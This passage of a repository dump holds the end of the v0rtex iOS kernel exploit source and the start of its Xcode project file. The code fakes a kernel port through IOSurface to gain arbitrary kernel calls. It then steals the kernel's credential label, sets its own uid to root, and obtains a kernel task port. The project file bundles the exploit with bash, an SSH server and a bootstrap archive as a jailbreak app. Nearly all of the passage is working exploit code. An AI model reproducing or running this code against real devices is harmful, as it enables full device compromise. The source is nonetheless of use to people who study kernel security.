((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \ 822 | { \ 823 | ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \ 824 | if(ret != KERN_SUCCESS) \ 825 | { \ 826 | LOG("mach_port_set_context: %s", mach_error_string(ret)); \ 827 | goto out3; \ 828 | } \ 829 | mach_msg_type_number_t outsz = 1; \ 830 | ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \ 831 | if(ret != KERN_SUCCESS) \ 832 | { \ 833 | LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \ 834 | goto out3; \ 835 | } \ 836 | } \ 837 | } while(0) 838 | 839 | kptr_t itk_space = 0; 840 | KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space)); 841 | LOG("itk_space: " ADDR, itk_space); 842 | if(!itk_space) 843 | { 844 | goto out3; 845 | } 846 | 847 | kptr_t self_task = 0; 848 | KREAD(itk_space + OFFSET_IPC_SPACE_IS_TASK, &self_task, sizeof(self_task)); 849 | LOG("self_task: " ADDR, self_task); 850 | if(!self_task) 851 | { 852 | goto out3; 853 | } 854 | 855 | kptr_t IOSurfaceRootUserClient_port = 0; 856 | KREAD(self_task + OFFSET_TASK_ITK_REGISTERED, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port)); 857 | LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port); 858 | if(!IOSurfaceRootUserClient_port) 859 | { 860 | goto out3; 861 | } 862 | 863 | kptr_t IOSurfaceRootUserClient_addr = 0; 864 | KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr)); 865 | LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr); 866 | if(!IOSurfaceRootUserClient_addr) 867 | { 868 | goto out3; 869 | } 870 | 871 | kptr_t IOSurfaceRootUserClient_vtab = 0; 872 | KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab)); 873 | LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab); 874 | if(!IOSurfaceRootUserClient_vtab) 875 | { 876 | goto out3; 877 | } 878 | 879 | kptr_t slide = IOSurfaceRootUserClient_vtab - OFFSET_IOSURFACEROOTUSERCLIENT_VTAB; 880 | LOG("slide: " ADDR, slide); 881 | if((slide % 0x100000) != 0) 882 | { 883 | goto out3; 884 | } 885 | #define OFF(name) (OFFSET_ ## name + slide) 886 | 887 | ret = mach_ports_register(self, NULL, 0); 888 | LOG("mach_ports_register: %s", mach_error_string(ret)); 889 | if(ret != KERN_SUCCESS) 890 | { 891 | goto out3; 892 | } 893 | 894 | kptr_t zone_map_addr = 0; 895 | KREAD(OFF(ZONE_MAP), &zone_map_addr, sizeof(zone_map_addr)); 896 | LOG("zone_map: " ADDR, zone_map_addr); 897 | if(!zone_map_addr) 898 | { 899 | goto out3; 900 | } 901 | 902 | kptr_t vtab[0x600 / sizeof(kptr_t)] = { 0 }; 903 | KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab)); 904 | vtab[OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX / sizeof(kptr_t)] = OFF(ROP_ADD_X0_X0_0x10); 905 | 906 | uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? fakeport_off + sizeof(kport_t) : 0; 907 | faketask_off = KPTR_ALIGN(faketask_off); 908 | volatile ktask_t *faketask_buf = (volatile ktask_t*)((uintptr_t)&dict[5] + faketask_off); 909 | 910 | ktask_t ktask; 911 | ktask.a.lock.data = 0x0; 912 | ktask.a.lock.type = 0x22; 913 | ktask.a.ref_count = 100; 914 | ktask.a.active = 1; 915 | ktask.a.map = zone_map_addr; 916 | ktask.b.itk_self = 1; 917 | *faketask_buf = ktask; 918 | 919 | kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK 920 | kport.ip_kobject = fake_addr + faketask_off; 921 | 922 | kport.ip_requests = 0; 923 | *fakeport_buf = kport; 924 | 925 | #undef KREAD 926 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); 927 | LOG("reallocate_buf: %s", mach_error_string(ret)); 928 | if(ret != KERN_SUCCESS) 929 | { 930 | goto out3; 931 | } 932 | 933 | mach_vm_address_t shmem_addr = 0; 934 | vm_prot_t cur = 0, 935 | max = 0; 936 | ret = mach_vm_remap(self, &shmem_addr, DATA_SIZE, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE); 937 | LOG("mach_vm_remap: %s", mach_error_string(ret)); 938 | if(ret != KERN_SUCCESS) 939 | { 940 | goto out3; 941 | } 942 | LOG("shmem_addr: 0x%016llx", shmem_addr); 943 | fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off); 944 | 945 | uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0; 946 | vtab_off = KPTR_ALIGN(vtab_off); 947 | kptr_t vtab_addr = fake_addr + vtab_off; 948 | LOG("vtab addr: " ADDR, vtab_addr); 949 | volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off); 950 | for(volatile char *src = (volatile char*)vtab, *dst = (volatile char*)vtab_buf, *end = src + sizeof(vtab); src < end; *(dst++) = *(src++)); 951 | 952 | #define MAXRANGES 5 953 | struct { 954 | uint32_t start; 955 | uint32_t end; 956 | } ranges[MAXRANGES] = 957 | { 958 | { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) }, 959 | { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) }, 960 | }; 961 | size_t numranges = 2; 962 | #define FIND_RANGE(var, size) \ 963 | do \ 964 | { \ 965 | if(numranges >= MAXRANGES) \ 966 | { \ 967 | LOG("FIND_RANGE(" #var "): ranges array too small"); \ 968 | goto out3; \ 969 | } \ 970 | for(int32_t i = 0; i < numranges; ++i) \ 971 | { \ 972 | uint32_t end = var + (uint32_t)(size); \ 973 | if( \ 974 | (var >= ranges[i].start && var < ranges[i].end) || \ 975 | (end >= ranges[i].start && var < ranges[i].end) \ 976 | ) \ 977 | { \ 978 | var = KPTR_ALIGN(ranges[i].end); \ 979 | i = -1; \ 980 | } \ 981 | } \ 982 | if(var + (uint32_t)(size) > DATA_SIZE) \ 983 | { \ 984 | LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size)); \ 985 | goto out3; \ 986 | } \ 987 | ranges[numranges].start = var; \ 988 | ranges[numranges].end = var + (uint32_t)(size); \ 989 | ++numranges; \ 990 | } while(0) 991 | 992 | typedef union 993 | { 994 | struct { 995 | // IOUserClient fields 996 | kptr_t vtab; 997 | uint32_t refs; 998 | uint32_t pad; 999 | // IOExternalTrap fields 1000 | kptr_t obj; 1001 | kptr_t func; 1002 | uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing 1003 | } a; 1004 | struct { 1005 | char pad[OFFSET_IOUSERCLIENT_IPC]; 1006 | int32_t __ipc; 1007 | } b; 1008 | } kobj_t; 1009 | 1010 | uint32_t fakeobj_off = 0; 1011 | FIND_RANGE(fakeobj_off, sizeof(kobj_t)); 1012 | kptr_t fakeobj_addr = fake_addr + fakeobj_off; 1013 | LOG("fakeobj addr: " ADDR, fakeobj_addr); 1014 | volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off); 1015 | for(volatile char *ptr = (volatile char*)fakeobj_buf, *end = ptr + sizeof(*fakeobj_buf); ptr < end; *(ptr++) = 0); 1016 | 1017 | fakeobj_buf->a.vtab = vtab_addr; 1018 | fakeobj_buf->a.refs = 100; 1019 | fakeobj_buf->b.__ipc = 100; 1020 | 1021 | fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT 1022 | fakeport_buf->ip_kobject = fakeobj_addr; 1023 | 1024 | #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \ 1025 | ( \ 1026 | fakeobj_buf->a.obj = (kptr_t)(x0), \ 1027 | fakeobj_buf->a.func = (kptr_t)(addr), \ 1028 | (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \ 1029 | ) 1030 | kptr_t kernel_task_addr = 0; 1031 | int r = KCALL(OFF(COPYOUT), OFF(KERNEL_TASK), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0); 1032 | LOG("kernel_task addr: " ADDR ", %s", kernel_task_addr, errstr(r)); 1033 | if(r != 0 || !kernel_task_addr) 1034 | { 1035 | goto out4; 1036 | } 1037 | 1038 | kptr_t kernproc_addr = 0; 1039 | r = KCALL(OFF(COPYOUT), kernel_task_addr + OFFSET_TASK_BSD_INFO, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0); 1040 | LOG("kernproc addr: " ADDR ", %s", kernproc_addr, errstr(r)); 1041 | if(r != 0 || !kernproc_addr) 1042 | { 1043 | goto out4; 1044 | } 1045 | 1046 | kptr_t kern_ucred = 0; 1047 | r = KCALL(OFF(COPYOUT), kernproc_addr + OFFSET_PROC_UCRED, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 1048 | LOG("kern_ucred: " ADDR ", %s", kern_ucred, errstr(r)); 1049 | if(r != 0 || !kernproc_addr) 1050 | { 1051 | goto out4; 1052 | } 1053 | 1054 | kptr_t self_proc = 0; 1055 | r = KCALL(OFF(COPYOUT), self_task + OFFSET_TASK_BSD_INFO, &self_proc, sizeof(self_proc), 0, 0, 0, 0); 1056 | LOG("self_proc: " ADDR ", %s", self_proc, errstr(r)); 1057 | if(r != 0 || !kernproc_addr) 1058 | { 1059 | goto out4; 1060 | } 1061 | 1062 | kptr_t self_ucred = 0; 1063 | r = KCALL(OFF(COPYOUT), self_proc + OFFSET_PROC_UCRED, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 1064 | LOG("self_ucred: " ADDR ", %s", self_ucred, errstr(r)); 1065 | if(r != 0 || !kernproc_addr) 1066 | { 1067 | goto out4; 1068 | } 1069 | 1070 | KCALL(OFF(BCOPY), kern_ucred + OFFSET_UCRED_CR_LABEL, self_ucred + OFFSET_UCRED_CR_LABEL, sizeof(kptr_t), 0, 0, 0, 0); 1071 | LOG("stole the kernel's cr_label"); 1072 | 1073 | KCALL(OFF(BZERO), self_ucred + OFFSET_UCRED_CR_UID, 12, 0, 0, 0, 0, 0); 1074 | setuid(0); // update host port 1075 | LOG("uid: %u", getuid()); 1076 | 1077 | host_t realhost = mach_host_self(); 1078 | LOG("realhost: %x (host: %x)", realhost, host); 1079 | 1080 | uint32_t zm_task_off = 0; 1081 | FIND_RANGE(zm_task_off, sizeof(ktask_t)); 1082 | kptr_t zm_task_addr = fake_addr + zm_task_off; 1083 | LOG("zm_task addr: " ADDR, zm_task_addr); 1084 | volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off); 1085 | for(volatile char *ptr = (volatile char*)zm_task_buf, *end = ptr + sizeof(*zm_task_buf); ptr < end; *(ptr++) = 0); 1086 | 1087 | zm_task_buf->a.lock.data = 0x0; 1088 | zm_task_buf->a.lock.type = 0x22; 1089 | zm_task_buf->a.ref_count = 100; 1090 | zm_task_buf->a.active = 1; 1091 | zm_task_buf->b.itk_self = 1; 1092 | zm_task_buf->a.map = zone_map_addr; 1093 | 1094 | uint32_t km_task_off = 0; 1095 | FIND_RANGE(km_task_off, sizeof(ktask_t)); 1096 | kptr_t km_task_addr = fake_addr + km_task_off; 1097 | LOG("km_task addr: " ADDR, km_task_addr); 1098 | volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off); 1099 | for(volatile char *ptr = (volatile char*)km_task_buf, *end = ptr + sizeof(*km_task_buf); ptr < end; *(ptr++) = 0); 1100 | 1101 | km_task_buf->a.lock.data = 0x0; 1102 | km_task_buf->a.lock.type = 0x22; 1103 | km_task_buf->a.ref_count = 100; 1104 | km_task_buf->a.active = 1; 1105 | km_task_buf->b.itk_self = 1; 1106 | r = KCALL(OFF(COPYOUT), OFF(KERNEL_MAP), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0); 1107 | LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r)); 1108 | if(r != 0 || !km_task_buf->a.map) 1109 | { 1110 | goto out4; 1111 | } 1112 | 1113 | kptr_t ipc_space_kernel = 0; 1114 | r = KCALL(OFF(COPYOUT), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0); 1115 | LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r)); 1116 | if(r != 0 || !ipc_space_kernel) 1117 | { 1118 | goto out4; 1119 | } 1120 | 1121 | #ifdef __LP64__ 1122 | kmap_hdr_t zm_hdr = { 0 }; 1123 | r = KCALL(OFF(COPYOUT), zm_task_buf->a.map + OFFSET_VM_MAP_HDR, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0); 1124 | LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r)); 1125 | if(r != 0 || !zm_hdr.start || !zm_hdr.end) 1126 | { 1127 | goto out4; 1128 | } 1129 | if(zm_hdr.end - zm_hdr.start > 0x100000000) 1130 | { 1131 | LOG("zone_map is too big, sorry."); 1132 | goto out4; 1133 | } 1134 | kptr_t zm_tmp; // macro scratch space 1135 | # define ZM_FIX_ADDR(addr) \ 1136 | ( \ 1137 | zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \ 1138 | zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \ 1139 | ) 1140 | #else 1141 | # define ZM_FIX_ADDR(addr) (addr) 1142 | #endif 1143 | 1144 | kptr_t ptrs[2] = { 0 }; 1145 | ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1146 | ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1147 | LOG("zm_port addr: " ADDR, ptrs[0]); 1148 | LOG("km_port addr: " ADDR, ptrs[1]); 1149 | 1150 | KCALL(OFF(IPC_KOBJECT_SET), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0); 1151 | KCALL(OFF(IPC_KOBJECT_SET), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0); 1152 | 1153 | r = KCALL(OFF(COPYIN), ptrs, self_task + OFFSET_TASK_ITK_REGISTERED, sizeof(ptrs), 0, 0, 0, 0); 1154 | LOG("copyin: %s", errstr(r)); 1155 | if(r != 0) 1156 | { 1157 | goto out4; 1158 | } 1159 | mach_port_array_t maps = NULL; 1160 | mach_msg_type_number_t mapsNum = 0; 1161 | ret = mach_ports_lookup(self, &maps, &mapsNum); 1162 | LOG("mach_ports_lookup: %s", mach_error_string(ret)); 1163 | if(ret != KERN_SUCCESS) 1164 | { 1165 | goto out4; 1166 | } 1167 | LOG("zone_map port: %x", maps[0]); 1168 | LOG("kernel_map port: %x", maps[1]); 1169 | if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1])) 1170 | { 1171 | goto out4; 1172 | } 1173 | // Clean out refs right away 1174 | ret = mach_ports_register(self, NULL, 0); 1175 | LOG("mach_ports_register: %s", mach_error_string(ret)); 1176 | if(ret != KERN_SUCCESS) 1177 | { 1178 | goto out5; 1179 | } 1180 | 1181 | mach_vm_address_t remap_addr = 0; 1182 | ret = mach_vm_remap(maps[1], &remap_addr, SIZEOF_TASK, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE); 1183 | LOG("mach_vm_remap: %s", mach_error_string(ret)); 1184 | if(ret != KERN_SUCCESS) 1185 | { 1186 | goto out5; 1187 | } 1188 | LOG("remap_addr: 0x%016llx", remap_addr); 1189 | 1190 | ret = mach_vm_wire(realhost, maps[1], remap_addr, SIZEOF_TASK, VM_PROT_READ | VM_PROT_WRITE); 1191 | LOG("mach_vm_wire: %s", mach_error_string(ret)); 1192 | if(ret != KERN_SUCCESS) 1193 | { 1194 | goto out5; 1195 | } 1196 | 1197 | kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1198 | LOG("newport: " ADDR, newport); 1199 | KCALL(OFF(IPC_KOBJECT_SET), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0); 1200 | KCALL(OFF(IPC_PORT_MAKE_SEND), newport, 0, 0, 0, 0, 0, 0); 1201 | r = KCALL(OFF(COPYIN), &newport, OFF(REALHOST) + OFFSET_REALHOST_SPECIAL + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0); 1202 | LOG("copyin: %s", errstr(r)); 1203 | if(r != 0) 1204 | { 1205 | goto out4; 1206 | } 1207 | 1208 | task_t kernel_task = MACH_PORT_NULL; 1209 | ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task); 1210 | LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret)); 1211 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task)) 1212 | { 1213 | goto out5; 1214 | } 1215 | 1216 | *tfp0 = kernel_task; 1217 | *kslide = slide; 1218 | *kernucred = kern_ucred; 1219 | *selfproc = self_proc; 1220 | retval = KERN_SUCCESS; 1221 | 1222 | out5:; 1223 | _kernelrpc_mach_port_destroy_trap(self, maps[0]); 1224 | _kernelrpc_mach_port_destroy_trap(self, maps[1]); 1225 | out4:; 1226 | _kernelrpc_mach_port_destroy_trap(self, fakeport); 1227 | out3:; 1228 | for(size_t i = 0; i < NUM_AFTER; ++i) 1229 | { 1230 | if(MACH_PORT_VALID(after[i])) 1231 | { 1232 | _kernelrpc_mach_port_destroy_trap(self, after[i]); 1233 | after[i] = MACH_PORT_NULL; 1234 | } 1235 | } 1236 | if(MACH_PORT_VALID(port)) 1237 | { 1238 | _kernelrpc_mach_port_destroy_trap(self, port); 1239 | port = MACH_PORT_NULL; 1240 | } 1241 | out2:; 1242 | for(size_t i = 0; i < NUM_BEFORE; ++i) 1243 | { 1244 | if(MACH_PORT_VALID(before[i])) 1245 | { 1246 | _kernelrpc_mach_port_destroy_trap(self, before[i]); 1247 | before[i] = MACH_PORT_NULL; 1248 | } 1249 | } 1250 | if(MACH_PORT_VALID(realport)) 1251 | { 1252 | _kernelrpc_mach_port_destroy_trap(self, realport); 1253 | realport = MACH_PORT_NULL; 1254 | } 1255 | out1:; 1256 | IOServiceClose(client); 1257 | out0:; 1258 | return retval; 1259 | } 1260 | -------------------------------------------------------------------------------- /v0rtex-s.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 48; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | B514CC681FEC8691005F4E6B /* binCreation in Resources */ = {isa = PBXBuildFile; fileRef = B514CC671FEC8691005F4E6B /* binCreation */; }; 11 | B544A5C61FEB2F3400AA5749 /* bootstrap.tar in Resources */ = {isa = PBXBuildFile; fileRef = B544A5C51FEB2F3400AA5749 /* bootstrap.tar */; }; 12 | B58B32401FE4EBA300EB7B47 /* kernel.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B323D1FE4EBA300EB7B47 /* kernel.m */; }; 13 | B58B32461FE4ED6300EB7B47 /* symbols.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B32451FE4ED6300EB7B47 /* symbols.m */; }; 14 | B58B32491FE4F3DF00EB7B47 /* root-rw.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B32481FE4F3DF00EB7B47 /* root-rw.m */; }; 15 | B58B325C1FE525A300EB7B47 /* dropbear.plist in Resources */ = {isa = PBXBuildFile; fileRef = B58B325A1FE525A300EB7B47 /* dropbear.plist */; }; 16 | B5BB8F791FE4D97800B60FDC /* README.md in Resources */ = {isa = PBXBuildFile; fileRef = B5BB8F781FE4D97800B60FDC /* README.md */; }; 17 | B5C5C5D31FE9C51A0022D2EC /* amfi.m in Sources */ = {isa = PBXBuildFile; fileRef = B5C5C5D21FE9C51A0022D2EC /* amfi.m */; }; 18 | B5C5C5D61FE9DADC0022D2EC /* bash in Resources */ = {isa = PBXBuildFile; fileRef = B5C5C5D51FE9DADC0022D2EC /* bash */; }; 19 | B5C5C5DE1FE9EF670022D2EC /* launchctl in Resources */ = {isa = PBXBuildFile; fileRef = B5C5C5DD1FE9EF660022D2EC /* launchctl */; }; 20 | B5E66A511FE6D8A800C7530E /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = B5E66A501FE6D8A800C7530E /* patchfinder64.c */; }; 21 | B5E66A5A1FE824FD00C7530E /* tar in Resources */ = {isa = PBXBuildFile; fileRef = B5E66A591FE824FD00C7530E /* tar */; }; 22 | B5E66A5C1FE86DD900C7530E /* libjb.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5E66A5B1FE86DD900C7530E /* libjb.a */; }; 23 | B5ED69081FEAFA1500D5DCC7 /* dropbear in Resources */ = {isa = PBXBuildFile; fileRef = B5ED69071FEAFA1500D5DCC7 /* dropbear */; }; 24 | EE5169281FDC2A7000805460 /* v0rtex.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5169271FDC2A7000805460 /* v0rtex.m */; }; 25 | EE5252AE1FDA4F2F00993801 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252AD1FDA4F2F00993801 /* AppDelegate.m */; }; 26 | EE5252B11FDA4F2F00993801 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252B01FDA4F2F00993801 /* ViewController.m */; }; 27 | EE5252B41FDA4F2F00993801 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B21FDA4F2F00993801 /* Main.storyboard */; }; 28 | EE5252B61FDA4F2F00993801 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B51FDA4F2F00993801 /* Assets.xcassets */; }; 29 | EE5252B91FDA4F2F00993801 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */; }; 30 | EE5252BC1FDA4F2F00993801 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252BB1FDA4F2F00993801 /* main.m */; }; 31 | EE665E261FDC013D00FF457E /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = EE665E251FDC013D00FF457E /* IOKit.framework */; }; 32 | /* End PBXBuildFile section */ 33 | 34 | /* Begin PBXFileReference section */ 35 | B514CC671FEC8691005F4E6B /* binCreation */ = {isa = PBXFileReference; lastKnownFileType = folder; path = binCreation; sourceTree = ""; }; 36 | B544A5C51FEB2F3400AA5749 /* bootstrap.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = bootstrap.tar; sourceTree = ""; }; 37 | B58B323D1FE4EBA300EB7B47 /* kernel.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kernel.m; sourceTree = ""; }; 38 | B58B323F1FE4EBA300EB7B47 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = ""; }; 39 | B58B32451FE4ED6300EB7B47 /* symbols.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = symbols.m; sourceTree = ""; }; 40 | B58B32471FE4EDCF00EB7B47 /* symbols.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = symbols.h; sourceTree = ""; }; 41 | B58B32481FE4F3DF00EB7B47 /* root-rw.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "root-rw.m"; sourceTree = ""; }; 42 | B58B324A1FE4F3F900EB7B47 /* root-rw.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "root-rw.h"; sourceTree = ""; }; 43 | B58B32561FE5237000EB7B47 /* libjb.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libjb.h; sourceTree = ""; }; 44 | B58B325A1FE525A300EB7B47 /* dropbear.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = dropbear.plist; sourceTree = ""; }; 45 | B5BB8F781FE4D97800B60FDC /* README.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = ""; }; 46 | B5C5C5D21FE9C51A0022D2EC /* amfi.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = amfi.m; sourceTree = ""; }; 47 | B5C5C5D41FE9C8CC0022D2EC /* amfi.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = amfi.h; sourceTree = ""; }; 48 | B5C5C5D51FE9DADC0022D2EC /* bash */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = bash; sourceTree = ""; }; 49 | B5C5C5DD1FE9EF660022D2EC /* launchctl */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = launchctl; sourceTree = ""; }; 50 | B5E66A4F1FE6D8A700C7530E /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; }; 51 | B5E66A501FE6D8A800C7530E /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = ""; }; 52 | B5E66A591FE824FD00C7530E /* tar */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = tar; sourceTree = ""; }; 53 | B5E66A5B1FE86DD900C7530E /* libjb.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libjb.a; sourceTree = ""; }; 54 | B5ED69071FEAFA1500D5DCC7 /* dropbear */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = dropbear; sourceTree = ""; }; 55 | EE5169271FDC2A7000805460 /* v0rtex.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = v0rtex.m; sourceTree = ""; }; 56 | EE5169291FDC2C9D00805460 /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = ""; }; 57 | EE5252A91FDA4F2F00993801 /* v0rtex.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = v0rtex.app; sourceTree = BUILT_PRODUCTS_DIR; }; 58 | EE5252AC1FDA4F2F00993801 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 59 | EE5252AD1FDA4F2F00993801 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 60 | EE5252AF1FDA4F2F00993801 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 61 | EE5252B01FDA4F2F00993801 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 62 | EE5252B31FDA4F2F00993801 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 63 | EE5252B51FDA4F2F00993801 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 64 | EE5252B81FDA4F2F00993801 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 65 | EE5252BA1FDA4F2F00993801 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 66 | EE5252BB1FDA4F2F00993801 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 67 | EE665E251FDC013D00FF457E /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = ../../../../../System/Library/Frameworks/IOKit.framework; sourceTree = ""; }; 68 | EE81AD151FDEF1AB0094418B /* v0rtex.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = v0rtex.h; sourceTree = ""; }; 69 | /* End PBXFileReference section */ 70 | 71 | /* Begin PBXFrameworksBuildPhase section */ 72 | EE5252A61FDA4F2F00993801 /* Frameworks */ = { 73 | isa = PBXFrameworksBuildPhase; 74 | buildActionMask = 2147483647; 75 | files = ( 76 | B5E66A5C1FE86DD900C7530E /* libjb.a in Frameworks */, 77 | 